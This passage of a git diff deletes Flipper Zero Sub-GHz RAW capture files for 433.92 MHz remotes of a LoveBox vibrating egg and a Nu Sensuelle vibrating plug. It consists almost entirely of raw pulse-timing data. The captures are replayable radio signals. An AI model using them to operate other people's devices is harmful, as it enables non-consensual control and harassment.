-276 253 -696 685 -276 253 -696 229 -744 679 -284 253 -684 681 -282 253 -688 713 -248 253 -692 711 -282 253 -690 227 -726 253 -694 281 -690 227 -728 239 -710 701 -274 253 -698 231 -93976 425 -66 229 -428 263 -294 95467 -19008 229 -66 97 -526 165 -754 823 -98 195 -66 160967 -66 239183 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub deleted file mode 100644 index 88a02036e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 375812 -726 711 -280 213 -734 671 -260 245 -728 671 -278 247 -708 255 -696 719 -232 265 -716 673 -282 253 -688 713 -248 251 -692 711 -280 255 -694 225 -730 239 -698 265 -716 225 -726 703 -276 207 -736 239 -702 241 -7714 713 -260 247 -696 733 -252 253 -690 709 -250 253 -694 709 -248 289 -660 271 -694 711 -260 255 -706 703 -250 253 -694 709 -248 253 -696 707 -282 253 -694 227 -726 241 -700 263 -716 255 -694 701 -236 267 -688 273 -700 279 -7692 715 -228 273 -694 701 -284 253 -686 709 -250 253 -694 709 -250 253 -696 271 -694 721 -226 249 -702 737 -252 253 -692 711 -248 253 -694 709 -248 289 -660 271 -694 283 -694 237 -694 283 -694 713 -242 255 -696 257 -694 253 -7730 721 -238 255 -710 695 -238 253 -702 727 -238 253 -710 701 -274 255 -698 229 -728 679 -282 217 -710 711 -270 211 -726 711 -260 223 -740 679 -282 253 -686 255 -692 277 -680 263 -722 237 -704 711 -228 243 -726 253 -696 281 -7706 691 -258 249 -702 715 -248 251 -720 681 -282 253 -686 705 -248 241 -728 247 -712 685 -268 241 -726 701 -242 241 -728 705 -250 253 -690 711 -248 253 -696 273 -696 245 -726 237 -696 283 -692 711 -244 253 -696 259 -696 253 -95458 65 -232 99 -498 495 -66 133 -330 859 -19362 427 -132 165 -130 65 -98 559 -66 1479 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub deleted file mode 100644 index ad1cb45d3..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -68 207529 -7238 67 -5100 297 -964 67 -132 263 -100 199 -266 97 -164 297 -68 165 -134 1035 -692 679 -260 247 -700 703 -282 253 -684 711 -248 253 -724 237 -698 717 -228 251 -706 717 -246 251 -716 681 -282 253 -686 711 -282 217 -730 237 -694 283 -692 227 -732 239 -712 233 -728 681 -282 693 -226 257 -7704 713 -276 255 -694 683 -274 255 -682 719 -224 273 -694 701 -278 245 -708 237 -702 715 -260 245 -694 705 -282 253 -686 711 -250 253 -688 711 -248 253 -726 237 -694 247 -730 241 -712 237 -700 281 -686 709 -248 695 -260 247 -7692 743 -236 253 -704 713 -238 251 -702 711 -226 275 -696 713 -248 287 -684 271 -670 707 -262 241 -694 733 -248 249 -714 709 -250 253 -690 711 -250 253 -696 273 -696 249 -690 271 -696 283 -660 269 -696 711 -260 715 -240 253 -7684 721 -260 223 -704 703 -282 253 -688 711 -246 253 -692 711 -280 253 -690 259 -696 703 -246 251 -718 711 -248 253 -690 709 -246 253 -696 709 -282 253 -688 259 -700 239 -734 231 -726 237 -706 275 -680 713 -248 685 -260 249 -7738 713 -226 275 -696 705 -246 285 -686 711 -248 253 -688 711 -246 253 -728 237 -694 703 -270 241 -696 715 -284 251 -682 713 -248 253 -690 711 -246 253 -730 239 -694 283 -690 227 -726 253 -696 281 -690 675 -278 697 -228 253 -72724 163 -230 161 -132 99 -164 131 -66 65 -330 199 -66 133 -100 365 -168 927 -132 265 -66 239453 -12286 265 -224 65 -692 163 -98 99 -196 65 -166 163 -66 131 -198 163 -166 131 -164 1481 -100 35583 -6880 131 -5272 67 -298 199 -364 131 -832 197 -564 365 -362 129 -66 263 -134 597 -134 463 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub deleted file mode 100644 index a049e1cbc..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 488388 -680 711 -278 211 -732 675 -260 243 -730 687 -276 247 -708 235 -738 681 -258 249 -702 683 -272 241 -734 681 -282 213 -720 711 -280 217 -726 237 -728 245 -686 227 -732 255 -694 249 -734 237 -708 681 -280 253 -7682 715 -228 275 -694 705 -246 289 -686 709 -248 253 -692 711 -246 253 -724 225 -726 703 -248 251 -714 713 -250 253 -688 709 -248 251 -694 709 -280 255 -694 257 -698 251 -696 247 -702 269 -704 237 -702 279 -686 709 -246 253 -7716 675 -272 253 -704 711 -240 249 -702 713 -258 247 -698 719 -246 249 -708 255 -696 697 -270 239 -726 705 -248 253 -690 711 -246 253 -694 709 -280 255 -694 227 -732 239 -710 267 -700 239 -704 277 -680 259 -694 719 -232 265 -7734 711 -238 287 -668 705 -274 255 -666 729 -232 241 -722 703 -280 245 -704 237 -702 715 -260 245 -698 719 -242 277 -666 713 -248 289 -684 711 -250 253 -692 271 -698 247 -688 271 -696 283 -690 225 -730 239 -700 723 -224 273 -7742 701 -262 241 -696 727 -240 241 -698 715 -282 217 -708 711 -240 271 -696 247 -730 707 -224 275 -698 719 -246 247 -708 711 -250 253 -688 713 -246 289 -662 269 -696 283 -688 237 -694 247 -730 275 -678 273 -670 709 -272 255 -44598 99 -1058 65 -568 97 -370 233 -830 265 -366 429 -332 131 -100 67 -268 131 -100 82263 -12548 97 -200 99 -1058 65 -296 97 -468 163 -296 459 -98 329 -198 197 -100 797 -198 424877 -11420 65 -626 265 -400 97 -66 265 -266 165 -1096 131 -166 331 -858 251007 -12610 199 -166 97 -1128 431 -500 199 -266 367 -66 165 -200 235 -66 301 -264 265 -266 295 -66 131 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub deleted file mode 100644 index 2006a6732..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1869 -66 97 -66 2265 -100 1905 -100 663 -66 331 -234 1089 -98 1155 291 1721 -66 1431 -236 695 -232 393 -68 791 -100 197 -68 1821 -98 2535 -98 531 -100 929 -98 795 -234 231 -100 1225 -132 1091 -98 1363 -132 267 -100 567 -66 229 -100 97 -132 625 -98 97 -66 165 -130 329 -164 631 -66 667 -100 1227 -66 2289 -66 455 -98 1477 -98 2079 -166 1165 -134 731 -100 399 -134 2193 -68 1263 -198 631 -164 163 -164 1345 -66 331 -134 197 -234 1223 -68 1627 -68 697 -100 2021 -100 465 -100 1759 -68 2783 -66 529 -130 887 -100 623 -132 627 -66 1465 -100 99 -66 927 -132 161 -66 163 -66 393 -132 427 -64 627 -98 523 -66 2517 -68 4083 -134 331 -68 65 -134 133 -134 629 -66 263 -98 951 -132 2147 -66 435 -66 399 -66 333 -98 1887 -132 133 -132 831 -66 1495 -66 1057 -100 165 -166 99 -166 363 -68 431 -66 365 -198 799 -100 855 -98 4079 -66 331 -66 1515 -100 563 -66 167 -66 1391 -66 2287 -100 2819 -66 2551 -100 2491 -132 199 -100 899 -134 65 -100 263 -66 133 -98 167 -66 897 -68 1089 -98 195 -64 99 -66 1851 -100 99 -134 367 -98 231 -66 65 -98 491 -64 2447 -100 231 -68 1127 -132 1889 -132 361 -200 297 -166 897 -98 1021 -66 465 -100 133 -132 1479 -134 1213 -66 199 -100 601 -66 297 -68 1525 -68 131 -100 133 -100 363 -66 799 -66 131 -134 3387 -66 425 -100 293 -66 325 -98 587 -100 965 -100 329 -64 163 -164 197 -64 1551 -100 797 -100 333 -132 199 -66 1459 -100 465 -200 697 -166 989 -132 6229 -100 727 -66 1543 -232 1165 -66 1491 -100 299 -66 65 -66 331 -98 3319 -68 1327 -132 67 -100 895 -100 467 -100 733 -100 67 -168 601 -100 297 -264 2019 -132 263 -132 2301 -98 395 -66 1079 -66 263 -198 425 -98 559 -100 595 -98 689 -132 359 -100 785 -66 229 -130 1217 -66 897 -100 165 -164 1151 -66 3367 -166 629 -66 929 -298 823 -232 1087 -100 195 -98 229 -100 819 -66 1113 -100 491 -66 1445 -132 2003 -64 365 -66 531 -166 931 -66 4017 -66 2009 -64 2433 -66 1819 -98 885 -98 1427 -100 2241 -132 331 -98 199 -66 531 -132 531 -100 2621 -134 1927 -134 2339 -164 261 -66 5471 -130 3301 -66 2065 -874 105 -830 415 -866 97 -1152 409 -874 123 -1140 411 -844 195 -1070 1567 -546 427 -428 409 -416 349 -524 399 -432 417 -416 353 -508 399 -426 445 -412 375 -462 415 -450 387 -452 407 -428 443 -414 413 -422 411 -446 415 -410 421 -870 65 -66 279 -434 417 -844 433 -388 443 -844 401 -424 273 -842 435 -420 -RAW_Data: 415 -846 437 -846 385 -852 423 -876 419 -816 441 -848 387 -852 423 -874 413 -842 415 -844 1683 -454 389 -450 409 -426 409 -418 443 -416 409 -444 415 -420 429 -400 437 -844 423 -396 435 -416 449 -424 411 -840 451 -388 435 -434 417 -416 415 -852 395 -868 417 -420 439 -858 385 -446 419 -854 411 -416 445 -842 413 -416 449 -848 411 -846 419 -854 381 -852 435 -862 417 -844 405 -850 415 -856 423 -840 413 -876 1665 -450 403 -426 441 -414 417 -436 423 -440 413 -420 427 -398 437 -416 449 -850 411 -420 415 -418 437 -428 415 -850 415 -430 411 -444 413 -420 429 -836 413 -866 413 -408 441 -846 417 -398 437 -844 427 -424 443 -844 399 -424 445 -842 433 -846 383 -854 423 -874 411 -848 415 -844 421 -870 383 -852 423 -876 419 -818 1689 -450 403 -428 411 -418 415 -454 399 -436 417 -416 417 -452 403 -426 441 -844 399 -442 415 -412 437 -432 419 -846 409 -420 423 -444 413 -412 459 -846 385 -852 423 -446 413 -836 411 -444 415 -854 397 -434 417 -846 435 -428 417 -846 407 -850 451 -842 399 -850 413 -868 411 -856 397 -868 417 -846 429 -838 425 -852 1667 -452 381 -452 423 -416 407 -424 443 -414 411 -424 427 -410 445 -420 425 -852 387 -446 415 -418 431 -432 407 -874 397 -426 411 -416 445 -414 411 -840 415 -876 411 -416 417 -846 439 -418 417 -846 407 -422 445 -842 397 -424 443 -846 399 -854 413 -838 423 -840 447 -848 411 -844 429 -854 413 -866 379 -874 409 -868 1677 -424 443 -414 411 -420 423 -444 381 -452 427 -416 411 -426 411 -446 411 -852 411 -418 415 -420 439 -444 383 -884 399 -434 417 -416 417 -452 403 -850 415 -854 429 -406 417 -850 435 -432 417 -848 417 -428 397 -866 417 -418 451 -136328 199 -100 235 -396 65 -132 65 -100 99 -628 233 -232 363 -266 433 -100 691 -100 593 -100 459 -66 1483 -68 2677 -166 65 -100 1521 -66 1453 -66 759 -98 299 -98 1427 -68 263 -100 895 -98 133 -66 495 -132 1983 -132 2019 -266 467 -100 229 -200 365 -100 231 -200 397 -100 1033 -198 661 -66 495 -100 129 -100 725 -132 333 -66 1229 -232 865 -100 299 -98 2085 -98 297 -98 459 -98 2139 -98 825 -100 631 -164 1089 -66 167 -66 265 -100 65 -66 163 -66 1085 -100 1677 -230 1059 -132 397 -100 331 -66 131 -66 1321 -132 1517 -164 463 -166 1095 -66 3785 -66 163 -100 1225 -98 1199 -100 2245 -66 623 -66 723 -100 1455 -102 431 -200 197 -166 2371 -132 701 -66 1589 -66 265 -200 533 -298 627 -132 1027 -98 1815 -132 795 -134 133 -66 -RAW_Data: 1263 -330 2857 -162 1447 -132 561 -164 3533 -98 295 -66 361 -130 4367 -100 165 -98 10701 -134 1323 -66 567 -66 465 -198 729 -66 531 -100 497 -98 993 -130 227 -98 1545 -100 3493 -66 8127 -66 459 -68 593 -98 229 -66 197 -66 2149 -66 1059 -100 7471 -98 3693 -134 365 -68 861 -100 133 -98 697 -66 3887 -66 2207 -66 97 -66 1185 -130 1881 -230 5493 -100 563 -100 1193 -100 5353 -66 1225 -230 793 -100 3077 -164 1155 -102 131 -100 65 -66 67 -100 297 -102 765 -98 299 -232 2021 -362 4749 -98 785 -66 195 -132 1413 -98 163 -100 759 -66 2561 -100 795 -66 1035 -130 425 -132 67 -198 1415 -66 1399 -134 589 -98 825 -68 1359 -232 997 -100 929 -100 1261 -66 331 -100 697 -100 2327 -134 65 -100 2721 -66 1485 -66 2219 -66 1497 -98 2053 -134 2331 -66 4001 -166 881 -66 3381 -264 925 -200 5253 -98 951 -100 727 -68 3137 -130 359 -98 529 -66 329 -132 197 -162 985 -234 493 -198 1245 -68 133 -68 797 -232 1227 -66 1455 -68 231 -100 4445 -66 197 -64 1021 -66 1389 -166 593 -68 1709 -164 129 -264 1615 -66 1581 -234 99 -132 1329 -132 65 -64 427 -66 295 -66 459 -98 263 -166 165 -66 1285 -266 1579 -200 165 -66 1025 -134 267 -232 133 -66 829 -232 131 -66 429 -134 2959 -66 167 -132 331 -100 755 -132 97 -98 425 -64 233 -130 785 -196 195 -98 887 -100 393 -66 197 -98 491 -130 197 -98 687 -66 163 -66 399 -100 1119 -132 267 -132 65 -66 365 -132 229 -132 1527 -132 267 -100 461 -130 619 -66 1183 -132 231 -102 133 -132 197 -66 2487 -66 297 -100 595 -100 361 -132 465 -66 331 -68 463 -166 263 -134 1463 -100 727 -132 861 -100 11951 -100 131 -166 669 -132 625 -98 1777 -134 2913 -66 1825 -134 1623 -132 99 -66 563 -64 65 -66 723 -132 365 -100 767 -100 461 -132 563 -134 199 -98 1023 -64 229 -98 97 -132 897 -100 231 -232 3249 -66 297 -66 693 -98 655 -66 829 -368 99 -66 561 -134 429 -100 693 -98 599 -66 131 -100 165 -66 697 -64 335 -166 595 -100 857 -166 1991 -100 657 -66 497 -166 987 -98 957 -100 729 -68 1857 -132 67 -100 629 -66 1099 -100 761 -132 1757 -168 231 -102 1159 -98 167 -66 1333 -100 1819 -66 631 -232 3383 -68 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub deleted file mode 100644 index 147c9bb99..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub +++ /dev/null @@ -1,11 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 893 -100 1321 -98 727 -134 2919 -66 567 -233 1053 -66 657 -66 855 -166 2765 -166 389 -164 1145 -98 883 -100 993 -132 99 -66 363 -100 995 -66 3025 -98 887 -98 723 -64 1959 -66 2261 -68 331 -134 925 -132 529 -100 3419 -166 633 -66 665 -100 429 -100 493 -202 531 -66 167 -66 561 -68 265 -68 4125 -132 849 -66 3099 -132 693 -100 925 -166 133 -98 1189 -232 263 -68 565 -132 329 -132 393 -98 2905 -68 197 -168 399 -66 331 -66 329 -98 595 -100 233 -100 2073 -132 1729 -130 695 -134 567 -132 99 -132 1629 -66 795 -68 2587 -98 897 -98 199 -66 1157 -66 129 -196 197 -132 363 -166 161 -132 97 -132 65 -100 1257 -166 1889 -68 1157 -66 1159 -166 297 -164 1065 -100 629 -66 1959 -234 1385 -130 329 -64 1609 -98 591 -66 827 -134 533 -100 533 -100 467 -66 167 -98 133 -98 2883 -68 297 -66 297 -264 265 -66 529 -66 1093 -68 661 -100 1655 -232 1847 -66 889 -100 6305 -66 1621 -66 1925 -98 1851 -66 2965 -66 2485 -66 2549 -134 3451 -100 1063 -66 3693 -100 199 -66 929 -100 597 -232 1163 -98 393 -66 759 -132 329 -66 1483 -330 293 -166 491 -130 229 -66 131 -66 1359 -66 231 -134 431 -234 529 -68 1093 -68 597 -168 131 -68 395 -200 1777 -98 165 -100 919 -98 1049 -66 299 -66 199 -102 699 -68 199 -100 367 -132 1117 -68 459 -66 429 -460 3921 -132 1607 -66 195 -134 1727 -66 133 -66 131 -100 2717 -66 197 -134 65 -100 365 -100 1219 -66 1019 -132 727 -66 2895 -66 231 -166 493 -132 725 -166 525 -66 99 -98 721 -196 131 -98 199 -66 665 -64 527 -64 659 -66 1015 -132 1709 -132 1429 -66 663 -66 429 -100 1529 -100 727 -98 1487 -164 925 -164 1151 -66 163 -66 1229 -66 65 -134 529 -100 99 -134 633 -66 497 -100 2683 -198 787 -66 893 -64 2705 -66 699 -134 167 -236 1119 -166 327 -164 491 -98 1703 -98 291 -100 757 -130 491 -100 2369 -66 1873 -66 595 -98 2285 -98 1225 -198 1625 -66 99 -200 963 -66 331 -66 563 -98 765 -134 65 -132 529 -66 2111 -166 231 -364 459 -198 559 -66 1019 -66 295 -66 1115 -132 163 -64 263 -198 131 -66 265 -132 2371 -98 459 -64 195 -66 785 -196 329 -134 263 -100 733 -66 531 -132 1439 -66 97 -166 131 -98 425 -98 131 -66 1781 -100 1923 -66 761 -66 955 -132 163 -66 1505 -96 923 -66 2967 -198 227 -98 2405 -132 1825 -100 1127 -66 629 -100 199 -100 2257 -100 263 -66 233 -66 3225 -68 1835 -68 561 -68 199 -66 99 -100 1057 -66 199 -132 2649 -232 2059 -132 -RAW_Data: 2507 -66 1853 -100 2063 -66 299 -134 165 -100 633 -66 361 -66 491 -64 525 -66 2439 -98 497 -232 663 -100 6229 -66 261 -130 261 -96 1081 -132 1293 -100 6993 -100 2369 -264 1213 -98 14833 -100 397 -134 2455 -130 2199 -98 6875 -166 1587 -134 2453 -98 3325 -98 4669 -100 5563 -66 265 -66 4949 -66 4601 -132 4677 -66 199 -66 365 -98 2521 -68 861 -100 729 -132 1447 -326 3061 -164 459 -132 631 -66 259 -66 459 -100 663 -166 727 -100 2987 -100 499 -134 2085 -68 367 -98 559 -132 591 -98 65 -98 359 -100 695 -100 465 -66 763 -100 199 -102 1855 -166 493 -98 99 -66 2381 -98 1193 -98 395 -134 267 -132 999 -166 597 -66 1891 -164 2121 -68 165 -134 1449 -66 491 -230 1353 -66 67 -98 363 -134 363 -134 599 -98 631 -100 101 -100 1287 -166 629 -200 1195 -100 65 -66 761 -68 4777 -132 4221 -132 2345 -66 453 -100 755 -98 2529 -134 657 -132 1743 -66 293 -66 467 -100 831 -100 299 -134 593 -130 523 -66 1955 -66 599 -100 331 -98 931 -100 831 -98 1591 -132 765 -168 629 -68 2155 -66 433 -66 165 -66 1021 -98 1119 -66 691 -66 197 -166 363 -68 893 -66 327 -132 95 -66 1083 -66 759 -66 131 -66 1029 -64 823 -196 725 -100 663 -134 1097 -166 1261 -66 1563 -132 99 -168 499 -98 2121 -232 497 -296 397 -100 131 -100 1123 -132 2497 -68 597 -168 697 -100 469 -68 763 -68 1463 -66 1197 -98 265 -132 1357 -134 99 -262 1391 -68 361 -98 263 -130 591 -66 1149 -98 329 -100 563 -134 2545 -66 397 -134 197 -236 165 -100 1127 -134 1385 -98 129 -66 2815 -100 163 -100 261 -196 395 -130 465 -66 1257 -66 267 -134 523 -132 195 -98 331 -66 2091 -100 785 -848 389 -902 383 -852 425 -872 381 -876 413 -844 427 -850 417 -846 1695 -414 409 -438 415 -450 387 -450 407 -428 407 -448 417 -424 397 -434 415 -884 399 -430 415 -416 419 -450 403 -852 413 -412 419 -412 445 -416 417 -858 413 -846 425 -424 443 -844 397 -422 443 -846 401 -426 445 -842 399 -424 441 -846 401 -884 385 -852 427 -840 417 -848 437 -848 385 -888 389 -874 379 -878 411 -842 1679 -452 385 -450 403 -426 407 -418 443 -422 413 -446 389 -444 415 -442 395 -852 417 -440 427 -388 445 -846 403 -454 413 -416 409 -452 381 -874 407 -422 411 -878 411 -422 427 -838 417 -418 417 -858 411 -416 443 -848 411 -418 415 -850 441 -848 385 -852 425 -872 379 -874 409 -844 425 -856 413 -836 411 -876 407 -850 1697 -444 415 -416 411 -438 419 -414 417 -450 401 -428 405 -418 443 -420 -RAW_Data: 397 -868 417 -418 437 -432 389 -876 407 -452 381 -444 415 -450 401 -856 383 -448 425 -856 381 -442 421 -870 385 -444 409 -878 395 -424 441 -844 399 -426 409 -844 427 -852 413 -852 427 -838 417 -882 411 -848 421 -852 387 -874 417 -858 411 -848 1677 -450 387 -436 429 -418 415 -418 417 -436 427 -442 383 -448 387 -434 433 -846 427 -426 407 -448 411 -852 413 -416 415 -420 449 -404 425 -838 415 -448 415 -840 415 -418 443 -850 413 -420 415 -848 439 -418 415 -846 441 -418 415 -848 397 -870 385 -886 387 -876 413 -848 413 -846 423 -872 383 -852 423 -876 411 -848 1695 -398 435 -416 445 -414 411 -444 413 -444 395 -424 407 -446 409 -422 423 -838 417 -420 441 -412 415 -850 405 -454 411 -416 417 -450 403 -854 413 -418 431 -854 411 -442 409 -844 425 -428 409 -844 427 -424 441 -842 401 -424 409 -876 399 -846 451 -818 425 -840 447 -848 413 -846 421 -852 387 -876 419 -854 411 -848 1677 -420 419 -452 405 -424 441 -382 451 -430 397 -436 415 -418 417 -452 403 -852 413 -454 403 -398 437 -838 423 -396 437 -410 445 -420 427 -840 415 -414 451 -838 413 -410 445 -844 411 -416 447 -848 413 -418 417 -846 435 -388 447 -117854 131 -166 657 -498 65 -830 563 -132 631 -134 267 -100 97 -232 495 -100 197 -134 1461 -164 1697 -132 987 -100 459 -66 1633 -66 1987 -98 855 -68 599 -66 825 -100 165 -166 99 -100 299 -366 1327 -68 361 -100 997 -132 953 -132 459 -66 797 -98 563 -134 1127 -98 557 -132 589 -230 981 -66 1513 -98 99 -66 493 -162 1281 -364 1477 -132 395 -98 1291 -134 1129 -68 8409 -66 299 -264 1359 -66 3445 -66 295 -264 759 -164 293 -200 195 -98 459 -66 559 -264 329 -98 893 -100 1325 -166 2591 -132 2695 -100 297 -132 331 -66 1299 -166 3137 -134 921 -98 2065 -66 393 -100 633 -100 823 -98 849 -98 623 -64 1509 -100 1161 -166 497 -100 231 -66 567 -200 5093 -68 5933 -362 265 -232 1495 -132 131 -164 423 -100 561 -128 359 -98 2641 -100 661 -132 627 -66 465 -100 231 -168 633 -66 197 -100 497 -100 495 -100 233 -100 833 -66 367 -166 1197 -66 1887 -68 893 -66 961 -66 3945 -100 2985 -132 725 -134 261 -392 131 -132 595 -196 1847 -130 1579 -264 1295 -98 133 -98 1827 -100 229 -164 459 -166 359 -100 2307 -66 2123 -66 1661 -100 131 -298 195 -236 2327 -330 233 -166 199 -66 563 -66 431 -100 491 -66 163 -164 1451 -100 993 -66 499 -100 431 -100 495 -200 495 -98 3715 -66 1093 -66 889 -100 4653 -234 99 -100 959 -166 -RAW_Data: 1261 -100 1927 -66 6643 -66 231 -200 4541 -66 4013 -66 1021 -66 755 -98 3793 -66 729 -100 925 -164 131 -64 4205 -100 13039 -64 2715 -66 4437 -132 2295 -68 2119 -132 567 -66 2269 -98 195 -66 395 -162 3257 -66 5773 -66 1627 -66 995 -66 1613 -132 1519 -66 3167 -98 1227 -66 2481 -68 1227 -66 165 -134 5037 -134 963 -66 1325 -264 795 -66 961 -100 165 -66 1859 -66 1359 -100 827 -100 561 -100 1667 -66 2055 -132 461 -134 531 -100 629 -132 233 -66 265 -166 697 -66 2357 -102 631 -164 1919 -100 1693 -66 631 -66 299 -66 663 -100 791 -132 1551 -98 527 -98 165 -198 1425 -364 1065 -100 99 -98 399 -330 461 -166 133 -68 997 -132 2259 -100 465 -66 729 -166 699 -198 695 -66 1061 -98 65 -100 557 -98 663 -98 527 -166 101 -100 667 -66 4415 -64 2589 -132 165 -68 1219 -66 1293 -98 2151 -66 631 -100 631 -132 263 -100 1019 -66 595 -98 955 -196 1055 -66 263 -132 723 -66 729 -100 593 -268 865 -100 363 -98 599 -98 761 -232 1625 -166 691 -66 1165 -134 1255 -130 2151 -66 199 -66 397 -100 65 -100 1859 -164 497 -68 1619 -66 133 -134 465 -66 665 -68 995 -66 3521 -66 3017 -166 563 -66 2463 -98 2535 -164 335 -166 2027 -98 631 -66 231 -200 1227 -66 2025 -66 527 -166 1023 -198 531 -68 197 -132 2109 -98 461 -66 791 -134 465 -66 465 -100 791 -66 1583 -134 99 -66 199 -132 465 -100 665 -200 535 -100 899 -66 2287 -98 1445 -66 687 -66 331 -132 1459 -200 331 -66 433 -66 527 -98 1255 -98 3517 -100 697 -132 1517 -98 197 -130 2735 -66 357 -98 1577 -166 1161 -68 1995 -100 367 -200 793 -66 499 -298 99 -134 429 -132 561 -132 163 -98 97 -164 753 -64 2313 -166 2697 -66 799 -98 527 -68 2593 -232 1349 -64 297 -130 195 -168 955 -66 393 -68 867 -66 1027 -100 429 -68 997 -100 1427 -100 97 -68 263 -168 601 -66 691 -232 1949 -102 631 -330 493 -100 887 -100 1021 -66 167 -68 993 -98 463 -66 1311 -66 129 -264 99 -296 3421 -66 631 -98 3485 -66 1673 -66 663 -100 461 -100 299 -66 1229 -66 3045 -100 563 -68 199 -66 493 -98 2271 -66 259 -100 131 -68 893 -102 661 -100 131 -134 297 -198 563 -66 925 -166 65 -132 1657 -98 263 -100 1785 -100 765 -232 663 -66 199 -100 367 -100 767 -198 595 -66 4341 -166 131 -98 1055 -66 2123 -134 893 -66 327 -66 885 -132 397 -102 2871 -66 589 -64 425 -98 4735 -132 2357 -66 465 -66 2597 -164 561 -100 1057 -134 1895 -100 863 -66 919 -100 691 -130 131 -98 427 -98 -RAW_Data: 297 -66 199 -66 1523 -166 7663 -68 2385 -66 4491 -164 659 -100 229 -100 4671 -66 2085 -98 295 -66 1547 -196 3347 -98 3083 -164 4001 -66 1823 -66 1297 -98 199 -102 1423 -66 529 -66 723 -66 14177 -66 1019 -100 467 -132 331 -132 297 -98 63 -66 163 -100 1717 -66 1851 -100 4637 -166 65 -134 99 -98 1263 -132 5055 -100 597 -66 1827 -66 1629 -100 165 -66 163 -98 131 -66 461 -328 953 -132 3837 -66 657 -66 429 -66 297 -98 1709 -98 131 -162 1477 -132 1577 -132 657 -132 1459 -132 195 -164 1189 -132 229 -66 985 -132 1021 -68 399 -100 423 -132 259 -130 819 -66 365 -66 133 -66 1761 -66 457 -66 423 -66 261 -66 559 -66 427 -132 2497 -100 1283 -66 329 -100 555 -98 625 -98 263 -66 163 -100 423 -100 431 -66 1193 -132 229 -100 1129 -68 565 -66 497 -270 597 -100 965 -100 861 -100 267 -66 397 -68 565 -168 4115 -298 3493 -98 6263 -100 231 -98 435 -66 131 -68 363 -166 531 -166 133 -102 465 -300 661 -132 227 -66 261 -132 229 -98 529 -66 2265 -64 2071 -132 227 -100 1279 -164 95 -132 2239 -100 2285 -332 299 -100 231 -100 331 -66 331 -66 131 -98 625 -366 265 -98 367 -198 761 -66 457 -100 857 -66 1191 -164 727 -66 261 -198 295 -98 2467 -234 629 -100 2615 -102 1589 -132 1787 -66 661 -100 959 -66 165 -134 1393 -100 527 -98 887 -132 97 -130 455 -66 723 -98 855 -132 65 -66 1775 -100 729 -198 885 -100 293 -64 2123 -134 331 -134 495 -100 2391 -100 1557 -132 297 -100 331 -134 65 -200 395 -98 797 -234 299 -166 2707 -98 1409 -66 629 -100 895 -100 693 -166 2647 -166 919 -98 365 -198 397 -100 65 -66 1093 -100 7051 -66 861 -66 2123 -66 857 -66 765 -98 331 -66 2903 -130 259 -66 161 -66 1149 -98 1119 -132 1391 -166 329 -66 597 -166 927 -132 395 -98 761 -166 163 -64 361 -164 65 -130 163 -164 65 -130 99 -230 97 -230 687 -66 1499 -132 933 -200 199 -66 1983 -98 2921 -130 3337 -68 97 -166 331 -66 461 -66 1711 -132 133 -66 1329 -66 133 -100 131 -68 531 -68 661 -68 131 -134 367 -66 927 -98 165 -202 4771 -66 293 -230 1215 -134 1659 -196 459 -98 99 -98 295 -132 589 -264 131 -66 393 -164 1057 -198 397 -66 1221 -100 763 -66 1757 -66 4113 -102 267 -66 303 -66 961 -68 231 -100 795 -132 65 -166 829 -66 197 -100 1591 -66 565 -68 531 -266 431 -134 1389 -100 1959 -100 1689 -132 65 -66 527 -66 1251 -66 431 -66 929 -132 3849 -66 429 -66 789 -130 99 -64 2143 -100 859 -66 -RAW_Data: 2337 -66 1093 -66 2711 -98 1645 -68 3125 -98 2961 -132 199 -98 2341 -66 2385 -66 7409 -198 395 -132 163 -132 1821 -66 891 -66 725 -98 11147 -66 2739 -98 525 -100 1223 -100 1689 -132 1061 -66 3153 -66 4221 -100 3653 -66 163 -100 393 -132 99 -66 2993 -132 1873 -100 1319 -132 1123 -66 233 -100 1135 -66 231 -132 6687 -66 65 -164 1545 -198 429 -98 293 -98 361 -132 193 -66 231 -98 295 -232 831 -66 2707 -98 2085 -98 361 -264 527 -164 395 -98 465 -66 97 -66 1323 -66 267 -132 1877 -98 163 -130 6221 -100 597 -66 863 -100 199 -100 1727 -100 625 